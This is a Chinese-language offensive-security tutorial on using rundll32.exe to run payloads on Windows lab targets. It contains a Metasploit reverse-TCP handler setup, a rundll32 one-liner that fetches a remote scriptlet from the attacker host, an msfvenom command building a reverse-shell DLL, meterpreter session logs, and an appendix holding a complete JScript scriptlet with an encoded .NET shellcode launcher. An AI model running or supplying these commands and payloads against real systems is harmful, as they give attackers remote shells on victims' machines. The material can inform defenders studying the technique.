专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。Rundll32简介：

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功

能就是以命令行的方式调用动态链接程序库。

说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。

Windows 2003 默认位置：

C:\Windows\System32\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe

Windows 7 默认位置：

C:\Windows\System32\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

192.168.1.5 Windows 7

基于远程加载（1）：

配置攻击机msf：

注：x86 payload

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler):

4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：

C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.4/Rundll32\_shellcode")

注：x64 rundll32.exe

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.5

5 [\*] Meterpreter session 57 opened (192.168.1.4:53 ‐> 192.168.1.5:41274) at 2019‐01‐19 04:13:26 ‐0500

6

7 meterpreter > getuid

8 Server username: John‐PC\John

9 meterpreter > getpid

10 Current pid: 7064

11 meterpreter > 12

基于本地加载（2）：

payload配置：

1 msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse\_tcp LHOST=192.168.1.4 LPORT=53 ‐f dll >Micropoor\_Rundll32.dll

靶机执行：

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.5

5 [\*] Meterpreter session 63 opened (192.168.1.4:53 ‐> 192.168.1.5:43320) at 2019‐01‐19 04:34:59 ‐0500

6

7 meterpreter > getuid

8 Server username: John‐PC\John

9 meterpreter > getpid

10 Current pid: 6656 11

基于命令执行（3）：

靶机执行：

Windows 2003：

1 rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=n ew ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");

注：如靶机支持powershell，调用powershell更贴合实战。

附录：Rundll32\_shellcode

1 <?xml version="1.0"?> 2

3 <package>

4 <component id="Micropoor"> 5

6 <script language="JScript">

7 <![CDATA[

8 function setversion() {

9 }

10 function debug(s) {}

11 function base64ToStream(b) {

12 var enc = new ActiveXObject("System.Text.ASCIIEncoding");

13 var length = enc.GetByteCount\_2(b);

14 var ba = enc.GetBytes\_4(b);

15 var transform = new ActiveXObject("System.Security.Cryptography.FromB ase64Transform");

16 ba = transform.TransformFinalBlock(ba, 0, length);

17 var ms = new ActiveXObject("System.IO.MemoryStream");

18 ms.Write(ba, 0, (length / 4) \* 3);

19 ms.Position = 0;

20 return ms;

21 } 22

23 var serialized\_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh dGVTZXJpYWxpemF0aW9uSG9sZGVy"+

24 "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2Vya WFsaXph"+

25 "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb 25Ib2xk"+

26 "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJA gAAAAkD"+

27 "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0Rlb GVnYXRl"+

28 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50Y XJnZXRU"+

29 "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ 2F0ZVNl"+

30 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lL lJlbW90"+

31 "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249M i4wLjAu"+

32 "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5B gcAAAAH"+

33 "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZ QoEAwAA"+

34 "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0Y XJnZXQw"+

35 "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ 2F0ZUVu"+

36 "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlc gkLAAAA"+

37 "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpe mF0aW9u"+

38 "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lb WJlclR5"+

39 "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJC QAAAAYR"+

40 "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAA AoBCwAA"+

41 "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c 3RlbS5Y"+

42 "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlb j1iNzdh"+

43 "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb 24uQXNz"+

44 "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAA AAAAAAA"+

45 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzI HByb2dy"+

46 "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CX AAAAAAA"+

47 "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAA AAAAAQA"+

48 "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAA AAAwCkA"+

49 "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA"+

50 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAA AAAAAAA"+

51 "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0 AIAAABA"+

52 "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAA AAAAAAA"+

53 "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAA AAAAAAA"+

54 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoB AAACgAA"+

55 "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsI MHPDQHH"+

56 "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7f SR15FiL"+

57 "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMd yYHiej/"+

58 "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXa JmldGH/"+

59 "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1 ZNTagBW"+

60 "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+m b////AcMp"+

61 "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC hYGjml+"+

62 "AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHE QQWEgMo"+

63 "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAd jQuMC4z"+

64 "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjV VMAOAYA"+

65 "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWA AABAAAA"+

66 "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAA AEAAAAB"+

67 "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBR AAGAEEC"+

68 "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAA AAAAQAA"+

69 "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAX QASABEA"+

70 "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABA AAAAACA"+

71 "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAA wC+AAAA"+

72 "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwA REAUgAu"+

73 "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAU gBkAHkA"+

74 "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/A AEAAAEJ"+

75 "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAA AABADsA"+

76 "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU 2hlbGxD"+

77 "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT 01NSVQA"+

78 "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdha XRGb3JT"+

79 "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvd GVjdABs"+

80 "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZ HdDcmVh"+

81 "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU 2VjdXJp"+

82 "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5Q WN0aW9u"+

83 "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0a W9uc0F0"+

84 "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3Bhe WxvYWQA"+

85 "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00R UUzLUJB"+

86 "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5c GUAX19T"+

87 "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50a W1lSGVs"+

88 "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0c gBvcF9F"+

89 "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5A Fplcm8A"+

90 "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAV W52ZXJp"+

91 "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6X FYZNOCJ"+

92 "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAA AMGERAH"+

93 "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABA FQCFldy"+

94 "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb 25zLlNl"+

95 "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuM CwgQ3Vs"+

96 "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa 2lwVmVy"+

97 "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADwKQAA"+

98 "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAA AAAAAAA"+

99 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA"+

100 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

101 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAA AAAAAAAA"+

108 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0 AjQAAABW"+

109 "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAA AAAAAAAA"+

110 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBu AGYAbwAA"+

111 "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIA aQBuAGcA"+

112 "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBp AGwAZQBE"+

113 "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMA aQBvAG4A"+

114 "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAA AHcAbQBp"+

115 "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwA ZQBnAGEA"+

116 "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBp AGwAZQBu"+

117 "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwA bAAAAAAA"+

118 "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAA ADgACAAB"+

119 "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAA AAAAAAAA"+

120 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

121 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

125 "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

127 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

128 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

129 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

130 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

131 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

132 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

133 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

134 "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3Rl bS5SZWZs"+

135 "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";

136 var entry\_class = 'ShellCodeLauncher.Program'; 137

138 try {

139 setversion();

140 var stm = base64ToStream(serialized\_obj);

141 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter s.Binary.BinaryFormatter');

142 var al = new ActiveXObject('System.Collections.ArrayList');

143 var d = fmt.Deserialize\_2(stm);

144 al.Add(undefined);

145 var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry\_class); 146

147 } catch (e) {

148 debug(e.message);

149 } 150

151 ]]>

152 </script> 153

154 </component>

155 </package> 156

Micropoor